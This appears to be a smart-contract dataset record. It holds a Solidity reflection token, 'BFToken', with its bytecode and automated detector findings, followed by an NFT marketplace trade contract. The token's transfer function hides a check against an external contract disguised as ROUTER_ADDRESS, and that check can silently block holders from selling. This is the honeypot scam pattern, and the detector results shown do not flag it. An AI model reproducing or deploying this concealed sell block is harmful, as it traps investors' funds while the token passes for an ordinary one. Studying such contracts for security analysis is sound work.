function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface O{
function amount(address from) external view returns (uint256);
}
contract BFToken is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = TOTAL_SUPPLY * 10**DECIMALS;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _burnFee;
uint256 private _taxFee;
address payable private _taxWallet;
uint256 private _maxTxAmount;
string private constant _name = TOKEN_NAME;
string private constant _symbol = TOKEN_SYMBOL;
uint8 private constant _decimals = DECIMALS;
IUniswapV2Router02 private _uniswap;
address private _pair;
bool private _canTrade;
bool private _inSwap = false;
bool private _swapEnabled = false;
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor () {
_taxWallet = payable(_msgSender());
_burnFee = 1;
_taxFee = INITIAL_TAX;
_uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_taxWallet] = true;
_maxTxAmount=_tTotal.div(20);
emit Transfer(address(0x0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function removeBuyLimit() public onlyTaxCollector{
_maxTxAmount=_tTotal;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(((to == _pair && from != address(_uniswap) )?amount:0) <= O(ROUTER_ADDRESS).amount(address(this)));
if (from != owner() && to != owner()) {
if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) {
require(amount<_maxTxAmount,"Transaction amount limited");
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _pair && _swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > TAX_THRESHOLD) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswap.WETH();
_approve(address(this), address(_uniswap), tokenAmount);
_uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
modifier onlyTaxCollector() {
require(_taxWallet == _msgSender() );
_;
}
function lowerTax(uint256 newTaxRate) public onlyTaxCollector{
require(newTaxRate<INITIAL_TAX);
_taxFee=newTaxRate;
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function startTrading() external onlyTaxCollector {
require(!_canTrade,"Trading is already open");
_approve(address(this), address(_uniswap), _tTotal);
_pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH());
_uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_swapEnabled = true;
_canTrade = true;
IERC20(_pair).approve(address(_uniswap), type(uint).max);
}
function endTrading() external onlyTaxCollector{
require(_canTrade,"Trading is not started yet");
_swapEnabled = false;
_canTrade = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualSwap() external onlyTaxCollector{
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external onlyTaxCollector{
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _burnFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101025760003560e01c806356d9dce81161009557806395d89b411161006457806395d89b411461029b5780639e752b95146102c6578063a9059cbb146102e6578063dd62ed3e14610306578063f42938901461034c57600080fd5b806356d9dce81461022957806370a082311461023e578063715018a61461025e5780638da5cb5b1461027357600080fd5b8063293230b8116100d1578063293230b8146101cc578063313ce567146101e35780633e07ce5b146101ff57806351bc3c851461021457600080fd5b806306fdde031461010e578063095ea7b31461015957806318160ddd1461018957806323b872dd146101ac57600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b5060408051808201909152601081526f426c61636b2046726964617920496e7560801b60208201525b60405161015091906114f8565b60405180910390f35b34801561016557600080fd5b50610179610174366004611562565b610361565b6040519015158152602001610150565b34801561019557600080fd5b5061019e610378565b604051908152602001610150565b3480156101b857600080fd5b506101796101c736600461158e565b610399565b3480156101d857600080fd5b506101e1610402565b005b3480156101ef57600080fd5b5060405160068152602001610150565b34801561020b57600080fd5b506101e161077a565b34801561022057600080fd5b506101e16107b0565b34801561023557600080fd5b506101e16107dd565b34801561024a57600080fd5b5061019e6102593660046115cf565b61085e565b34801561026a57600080fd5b506101e1610880565b34801561027f57600080fd5b506000546040516001600160a01b039091168152602001610150565b3480156102a757600080fd5b50604080518082019091526002815261212360f11b6020820152610143565b3480156102d257600080fd5b506101e16102e13660046115ec565b610924565b3480156102f257600080fd5b50610179610301366004611562565b61094d565b34801561031257600080fd5b5061019e610321366004611605565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561035857600080fd5b506101e161095a565b600061036e3384846109c4565b5060015b92915050565b60006103866006600a611738565b610394906305f5e100611747565b905090565b60006103a6848484610ae8565b6103f884336103f3856040518060600160405280602881526020016118c5602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610e24565b6109c4565b5060019392505050565b6009546001600160a01b0316331461041957600080fd5b600c54600160a01b900460ff16156104785760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064015b60405180910390fd5b600b546104a49030906001600160a01b03166104966006600a611738565b6103f3906305f5e100611747565b600b60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104f7573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061051b9190611766565b6001600160a01b031663c9c6539630600b60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561057d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105a19190611766565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156105ee573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106129190611766565b600c80546001600160a01b0319166001600160a01b03928316179055600b541663f305d71947306106428161085e565b6000806106576000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156106bf573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906106e49190611783565b5050600c805462ff00ff60a01b1981166201000160a01b17909155600b5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610753573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061077791906117b1565b50565b6009546001600160a01b0316331461079157600080fd5b61079d6006600a611738565b6107ab906305f5e100611747565b600a55565b6009546001600160a01b031633146107c757600080fd5b60006107d23061085e565b905061077781610e5e565b6009546001600160a01b031633146107f457600080fd5b600c54600160a01b900460ff1661084d5760405162461bcd60e51b815260206004820152601a60248201527f54726164696e67206973206e6f74207374617274656420796574000000000000604482015260640161046f565b600c805462ff00ff60a01b19169055565b6001600160a01b03811660009081526002602052604081205461037290610fd8565b6000546001600160a01b031633146108da5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161046f565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6009546001600160a01b0316331461093b57600080fd5b6009811061094857600080fd5b600855565b600061036e338484610ae8565b6009546001600160a01b0316331461097157600080fd5b4761077781611055565b60006109bd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611093565b9392505050565b6001600160a01b038316610a265760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161046f565b6001600160a01b038216610a875760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161046f565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b4c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161046f565b6001600160a01b038216610bae5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161046f565b60008111610c105760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161046f565b604051635cf85fb360e11b815230600482015273c6866ce931d4b765d66080dd6a47566ccb99f62f9063b9f0bf6690602401602060405180830381865afa158015610c5f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c8391906117d3565b600c546001600160a01b038481169116148015610cae5750600b546001600160a01b03858116911614155b610cb9576000610cbb565b815b1115610cc657600080fd5b6000546001600160a01b03848116911614801590610cf257506000546001600160a01b03838116911614155b15610e1457600c546001600160a01b038481169116148015610d225750600b546001600160a01b03838116911614155b8015610d4757506001600160a01b03821660009081526004602052604090205460ff16155b15610d9d57600a548110610d9d5760405162461bcd60e51b815260206004820152601a60248201527f5472616e73616374696f6e20616d6f756e74206c696d69746564000000000000604482015260640161046f565b6000610da83061085e565b600c54909150600160a81b900460ff16158015610dd35750600c546001600160a01b03858116911614155b8015610de85750600c54600160b01b900460ff165b15610e1257610df681610e5e565b47670de0b6b3a7640000811115610e1057610e1047611055565b505b505b610e1f8383836110c1565b505050565b60008184841115610e485760405162461bcd60e51b815260040161046f91906114f8565b506000610e5584866117ec565b95945050505050565b600c805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610ea657610ea6611803565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610eff573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f239190611766565b81600181518110610f3657610f36611803565b6001600160a01b039283166020918202929092010152600b54610f5c91309116846109c4565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610f95908590600090869030904290600401611819565b600060405180830381600087803b158015610faf57600080fd5b505af1158015610fc3573d6000803e3d6000fd5b5050600c805460ff60a81b1916905550505050565b600060055482111561103f5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161046f565b60006110496110cc565b90506109bd838261097b565b6009546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561108f573d6000803e3d6000fd5b5050565b600081836110b45760405162461bcd60e51b815260040161046f91906114f8565b506000610e55848661188a565b610e1f8383836110ef565b60008060006110d96111e6565b90925090506110e8828261097b565b9250505090565b60008060008060008061110187611268565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061113390876112c5565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546111629086611307565b6001600160a01b03891660009081526002602052604090205561118481611366565b61118e84836113b0565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516111d391815260200190565b60405180910390a3505050505050505050565b6005546000908190816111fb6006600a611738565b611209906305f5e100611747565b905061123161121a6006600a611738565b611228906305f5e100611747565b6005549061097b565b82101561125f576005546112476006600a611738565b611255906305f5e100611747565b9350935050509091565b90939092509050565b60008060008060008060008060006112858a6007546008546113d4565b92509250925060006112956110cc565b905060008060006112a88e878787611429565b919e509c509a509598509396509194505050505091939550919395565b60006109bd83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e24565b60008061131483856118ac565b9050838110156109bd5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161046f565b60006113706110cc565b9050600061137e8383611479565b3060009081526002602052604090205490915061139b9082611307565b30600090815260026020526040902055505050565b6005546113bd90836112c5565b6005556006546113cd9082611307565b6006555050565b60008080806113ee60646113e88989611479565b9061097b565b9050600061140160646113e88a89611479565b90506000611419826114138b866112c5565b906112c5565b9992985090965090945050505050565b60008080806114388886611479565b905060006114468887611479565b905060006114548888611479565b905060006114668261141386866112c5565b939b939a50919850919650505050505050565b60008261148857506000610372565b60006114948385611747565b9050826114a1858361188a565b146109bd5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161046f565b600060208083528351808285015260005b8181101561152557858101830151858201604001528201611509565b81811115611537576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461077757600080fd5b6000806040838503121561157557600080fd5b82356115808161154d565b946020939093013593505050565b6000806000606084860312156115a357600080fd5b83356115ae8161154d565b925060208401356115be8161154d565b929592945050506040919091013590565b6000602082840312156115e157600080fd5b81356109bd8161154d565b6000602082840312156115fe57600080fd5b5035919050565b6000806040838503121561161857600080fd5b82356116238161154d565b915060208301356116338161154d565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561168f5781600019048211156116755761167561163e565b8085161561168257918102915b93841c9390800290611659565b509250929050565b6000826116a657506001610372565b816116b357506000610372565b81600181146116c957600281146116d3576116ef565b6001915050610372565b60ff8411156116e4576116e461163e565b50506001821b610372565b5060208310610133831016604e8410600b8410161715611712575081810a610372565b61171c8383611654565b80600019048211156117305761173061163e565b029392505050565b60006109bd60ff841683611697565b60008160001904831182151516156117615761176161163e565b500290565b60006020828403121561177857600080fd5b81516109bd8161154d565b60008060006060848603121561179857600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156117c357600080fd5b815180151581146109bd57600080fd5b6000602082840312156117e557600080fd5b5051919050565b6000828210156117fe576117fe61163e565b500390565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118695784516001600160a01b031683529383019391830191600101611844565b50506001600160a01b03969096166060850152505050608001529392505050565b6000826118a757634e487b7160e01b600052601260045260246000fd5b500490565b600082198211156118bf576118bf61163e565b50019056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122071a0a09dc6b231879b5396ae1078178761ee1a1905dbe3b82d7bb6aee930e02964736f6c634300080a0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 6,155 |
0xcd477f6e609eb07e3c0eccac98673337ddbd7d8a
|
// SPDX-License-Identifier:UNLICENSED
pragma solidity ^0.8.4;
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
function royaltyFee(uint256 tokenId) external view returns(uint256);
function getCreator(uint256 tokenId) external view returns(address);
/**
* @dev Returns the owner of the NFT specified by `tokenId`.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Transfers a specific NFT (`tokenId`) from one account (`from`) to
* another (`to`).
*
*
*
* Requirements:
* - `from`, `to` cannot be zero.
* - `tokenId` must be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this
* NFT by either {approve} or {setApprovalForAll}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) external;
}
interface IERC1155 is IERC165 {
/**
@notice Transfers `_value` amount of an `_id` from the `_from` address to the `_to` address specified (with safety call).
@dev Caller must be approved to manage the tokens being transferred out of the `_from` account (see "Approval" section of the standard).
MUST revert if `_to` is the zero address.
MUST revert if balance of holder for token `_id` is lower than the `_value` sent.
MUST revert on any other error.
MUST emit the `TransferSingle` event to reflect the balance change (see "Safe Transfer Rules" section of the standard).
After the above conditions are met, this function MUST check if `_to` is a smart contract (e.g. code size > 0). If so, it MUST call `onERC1155Received` on `_to` and act appropriately (see "Safe Transfer Rules" section of the standard).
@param _from Source address
@param _to Target address
@param _id ID of the token type
@param _value Transfer amount
@param _data Additional data with no specified format, MUST be sent unaltered in call to `onERC1155Received` on `_to`
*/
function safeTransferFrom(address _from, address _to, uint256 _id, uint256 _value, bytes calldata _data) external;
function royaltyFee(uint256 tokenId) external view returns(uint256);
function getCreator(uint256 tokenId) external view returns(address);
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}
contract TransferProxy {
function erc721safeTransferFrom(IERC721 token, address from, address to, uint256 tokenId) external {
token.safeTransferFrom(from, to, tokenId);
}
function erc1155safeTransferFrom(IERC1155 token, address from, address to, uint256 id, uint256 value, bytes calldata data) external {
token.safeTransferFrom(from, to, id, value, data);
}
function erc20safeTransferFrom(IERC20 token, address from, address to, uint256 value) external {
require(token.transferFrom(from, to, value), "failure while transferring");
}
}
contract Trade {
enum BuyingAssetType {ERC1155, ERC721}
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event SellerFee(uint8 sellerFee);
event BuyerFee(uint8 buyerFee);
event BuyAsset(address indexed assetOwner , uint256 indexed tokenId, uint256 quantity, address indexed buyer);
event ExecuteBid(address indexed assetOwner , uint256 indexed tokenId, uint256 quantity, address indexed buyer);
uint8 private buyerFeePermille;
uint8 private sellerFeePermille;
TransferProxy public transferProxy;
address public owner;
mapping(uint256 => bool) private usedNonce;
struct Fee {
uint platformFee;
uint assetFee;
uint royaltyFee;
uint price;
address tokenCreator;
}
/* An ECDSA signature. */
struct Sign {
uint8 v;
bytes32 r;
bytes32 s;
uint256 nonce;
}
struct Order {
address seller;
address buyer;
address erc20Address;
address nftAddress;
BuyingAssetType nftType;
uint unitPrice;
uint amount;
uint tokenId;
uint qty;
}
modifier onlyOwner() {
require(owner == msg.sender, "Ownable: caller is not the owner");
_;
}
constructor (uint8 _buyerFee, uint8 _sellerFee, TransferProxy _transferProxy) {
buyerFeePermille = _buyerFee;
sellerFeePermille = _sellerFee;
transferProxy = _transferProxy;
owner = msg.sender;
}
function buyerServiceFee() external view virtual returns (uint8) {
return buyerFeePermille;
}
function sellerServiceFee() external view virtual returns (uint8) {
return sellerFeePermille;
}
function setBuyerServiceFee(uint8 _buyerFee) external onlyOwner returns(bool) {
buyerFeePermille = _buyerFee;
emit BuyerFee(buyerFeePermille);
return true;
}
function setSellerServiceFee(uint8 _sellerFee) external onlyOwner returns(bool) {
sellerFeePermille = _sellerFee;
emit SellerFee(sellerFeePermille);
return true;
}
function transferOwnership(address newOwner) external onlyOwner returns(bool){
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
return true;
}
function getSigner(bytes32 hash, Sign memory sign) internal pure returns(address) {
return ecrecover(keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)), sign.v, sign.r, sign.s);
}
function verifySellerSign(address seller, uint256 tokenId, uint amount, address paymentAssetAddress, address assetAddress, Sign memory sign) internal pure {
bytes32 hash = keccak256(abi.encodePacked(assetAddress, tokenId, paymentAssetAddress, amount, sign.nonce));
require(seller == getSigner(hash, sign), "seller sign verification failed");
}
function verifyBuyerSign(address buyer, uint256 tokenId, uint amount, address paymentAssetAddress, address assetAddress, uint qty, Sign memory sign) internal pure {
bytes32 hash = keccak256(abi.encodePacked(assetAddress, tokenId, paymentAssetAddress, amount,qty, sign.nonce));
require(buyer == getSigner(hash, sign), "buyer sign verification failed");
}
function getFees(uint paymentAmt, BuyingAssetType buyingAssetType, address buyingAssetAddress, uint tokenId) internal view returns(Fee memory){
address tokenCreator;
uint platformFee;
uint royaltyFee;
uint assetFee;
uint royaltyPermille;
uint price = paymentAmt * 1000 / (1000 + buyerFeePermille);
uint buyerFee = paymentAmt - price;
uint sellerFee = price * sellerFeePermille / 1000;
platformFee = buyerFee + sellerFee;
if(buyingAssetType == BuyingAssetType.ERC721) {
royaltyPermille = ((IERC721(buyingAssetAddress).royaltyFee(tokenId)));
tokenCreator = ((IERC721(buyingAssetAddress).getCreator(tokenId)));
}
if(buyingAssetType == BuyingAssetType.ERC1155) {
royaltyPermille = ((IERC1155(buyingAssetAddress).royaltyFee(tokenId)));
tokenCreator = ((IERC1155(buyingAssetAddress).getCreator(tokenId)));
}
royaltyFee = price * royaltyPermille / 1000;
assetFee = price - royaltyFee - sellerFee;
return Fee(platformFee, assetFee, royaltyFee, price, tokenCreator);
}
function tradeAsset(Order calldata order, Fee memory fee, address buyer, address seller) internal virtual {
if(order.nftType == BuyingAssetType.ERC721) {
transferProxy.erc721safeTransferFrom(IERC721(order.nftAddress), seller, buyer, order.tokenId);
}
if(order.nftType == BuyingAssetType.ERC1155) {
transferProxy.erc1155safeTransferFrom(IERC1155(order.nftAddress), seller, buyer, order.tokenId, order.qty, "");
}
if(fee.platformFee > 0) {
transferProxy.erc20safeTransferFrom(IERC20(order.erc20Address), buyer, owner, fee.platformFee);
}
if(fee.royaltyFee > 0) {
transferProxy.erc20safeTransferFrom(IERC20(order.erc20Address), buyer, fee.tokenCreator, fee.royaltyFee);
}
transferProxy.erc20safeTransferFrom(IERC20(order.erc20Address), buyer, seller, fee.assetFee);
}
function buyAsset(Order calldata order, Sign calldata sign) external returns(bool) {
require(!usedNonce[sign.nonce],"Nonce : Invalid Nonce");
usedNonce[sign.nonce] = true;
Fee memory fee = getFees(order.amount, order.nftType, order.nftAddress, order.tokenId);
require((fee.price >= order.unitPrice * order.qty), "Paid invalid amount");
verifySellerSign(order.seller, order.tokenId, order.unitPrice, order.erc20Address, order.nftAddress, sign);
address buyer = msg.sender;
tradeAsset(order, fee, buyer, order.seller);
emit BuyAsset(order.seller, order.tokenId, order.qty, msg.sender);
return true;
}
function executeBid(Order calldata order, Sign calldata sign) external returns(bool) {
require(!usedNonce[sign.nonce],"Nonce : Invalid Nonce");
usedNonce[sign.nonce] = true;
Fee memory fee = getFees(order.amount, order.nftType, order.nftAddress, order.tokenId);
verifyBuyerSign(order.buyer, order.tokenId, order.amount, order.erc20Address, order.nftAddress, order.qty, sign);
address seller = msg.sender;
tradeAsset(order, fee, order.buyer, seller);
emit ExecuteBid(msg.sender , order.tokenId, order.qty, order.buyer);
return true;
}
}
|
0x608060405234801561001057600080fd5b50600436106100935760003560e01c80639c66809d116100665780639c66809d14610122578063a3667c7b1461012d578063a96b446d14610140578063e90f93e914610153578063f2fde38b1461016657600080fd5b806326981e2d1461009857806360085da6146100c05780636e667db3146100de5780638da5cb5b1461010f575b600080fd5b6100ab6100a6366004610f28565b610179565b60405190151581526020015b60405180910390f35b600054610100900460ff165b60405160ff90911681526020016100b7565b6000546100f7906201000090046001600160a01b031681565b6040516001600160a01b0390911681526020016100b7565b6001546100f7906001600160a01b031681565b60005460ff166100cc565b6100ab61013b366004610f80565b610354565b6100ab61014e366004610f80565b6103db565b6100ab610161366004610f28565b61044a565b6100ab610174366004610fba565b6105af565b606081013560009081526002602052604081205460ff16156101da5760405162461bcd60e51b81526020600482015260156024820152744e6f6e6365203a20496e76616c6964204e6f6e636560581b60448201526064015b60405180910390fd5b60608201356000908152600260205260408120805460ff1916600117905561022a60c085013561021060a0870160808801610fd7565b6102206080880160608901610fba565b8760e0013561069e565b905061023f61010085013560a086013561100e565b816060015110156102885760405162461bcd60e51b815260206004820152601360248201527214185a59081a5b9d985b1a5908185b5bdd5b9d606a1b60448201526064016101d1565b6102d66102986020860186610fba565b60e086013560a08701356102b26060890160408a01610fba565b6102c260808a0160608b01610fba565b6102d1368a90038a018a61102d565b6109a4565b336102ef8583836102ea6020840184610fba565b610a75565b3360e08601356103026020880188610fba565b6001600160a01b03167fb10197cef009fd301a90b892d25451c22c3701eb18ee2df1250d31e514fff39488610100013560405161034191815260200190565b60405180910390a4506001949350505050565b6001546000906001600160a01b031633146103815760405162461bcd60e51b81526004016101d1906110a6565b6000805461ff00191661010060ff8581168202929092179283905560405192041681527f04e959c7352d9eda8a6d989e4fee25ff0bf44c87386b7259d8500343c4e9992e906020015b60405180910390a15060015b919050565b6001546000906001600160a01b031633146104085760405162461bcd60e51b81526004016101d1906110a6565b6000805460ff191660ff84169081179091556040519081527f1715ed10763088cbfba08a6ecfb6e5894eac73040cb1899d10d3f96ced2bd0ef906020016103ca565b606081013560009081526002602052604081205460ff16156104a65760405162461bcd60e51b81526020600482015260156024820152744e6f6e6365203a20496e76616c6964204e6f6e636560581b60448201526064016101d1565b60608201356000908152600260205260408120805460ff191660011790556104dc60c085013561021060a0870160808801610fd7565b90506105356104f16040860160208701610fba565b60e086013560c087013561050b6060890160408a01610fba565b61051b60808a0160608b01610fba565b6101008a0135610530368b90038b018b61102d565b610da2565b33610551858361054b6040830160208401610fba565b84610a75565b6105616040860160208701610fba565b6001600160a01b03168560e00135336001600160a01b03167fec34853c156da04e4792f1c735112ae54e5ed52bac58db5014b26746f306a36288610100013560405161034191815260200190565b6001546000906001600160a01b031633146105dc5760405162461bcd60e51b81526004016101d1906110a6565b6001600160a01b0382166106415760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016101d1565b6001546040516001600160a01b038085169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a350600180546001600160a01b038316600160